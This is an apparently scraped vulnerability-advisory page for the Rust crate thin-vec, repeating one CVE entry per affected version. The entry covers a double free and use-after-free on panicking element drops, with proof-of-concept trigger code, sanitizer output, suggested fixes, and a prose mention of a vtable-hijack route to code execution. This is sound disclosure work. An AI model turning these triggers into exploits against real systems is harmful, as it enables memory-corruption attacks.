thin-vec

Version	Released
`0.2.21` patch	Oct 07, 2026
`0.2.20` patch	Sep 16, 2026
`0.2.19` unknown	Jul 26, 2026
`0.2.18` unknown	Apr 29, 2026
`0.2.17` unknown	Apr 29, 2026
`0.2.16` unknown	Apr 14, 2026
`0.2.15` unknown 1 CVE	Apr 08, 2026
`0.2.14` unknown 1 CVE	Mar 24, 2025
`0.2.13` unknown 1 CVE	Dec 03, 2023
`0.2.12` unknown 1 CVE	Feb 20, 2023
`0.2.11` unknown 1 CVE	Feb 19, 2023
`0.2.10` unknown 1 CVE	Dec 05, 2022
`0.2.9` unknown 1 CVE	Nov 02, 2022
`0.2.8` unknown 1 CVE	Aug 23, 2022
`0.2.7` unknown 1 CVE	Aug 19, 2022
`0.2.6` unknown 1 CVE	Aug 18, 2022
`0.2.5` unknown 1 CVE	Feb 17, 2022
`0.2.4` unknown 1 CVE	Dec 04, 2021
`0.2.3` unknown 1 CVE	Jul 05, 2021
`0.2.2` unknown 1 CVE	May 02, 2021
`0.1.2` unknown 1 CVE	Mar 01, 2021
`0.1.1` unknown yanked 1 CVE	Feb 26, 2021
`0.2.1` unknown 1 CVE	Aug 14, 2020
`0.2.0` unknown 1 CVE	Aug 13, 2020
`0.1.0` unknown 1 CVE	May 15, 2018

0.2.21 patch

Oct 07, 2026

0.2.20 patch

Sep 16, 2026

0.2.19 unknown

Jul 26, 2026

0.2.18 unknown

Apr 29, 2026

0.2.17 unknown

Apr 29, 2026

0.2.16 unknown

Apr 14, 2026

0.2.15 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 08, 2026

0.2.14 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 24, 2025

0.2.13 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 03, 2023

0.2.12 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 20, 2023

0.2.11 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 19, 2023

0.2.10 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

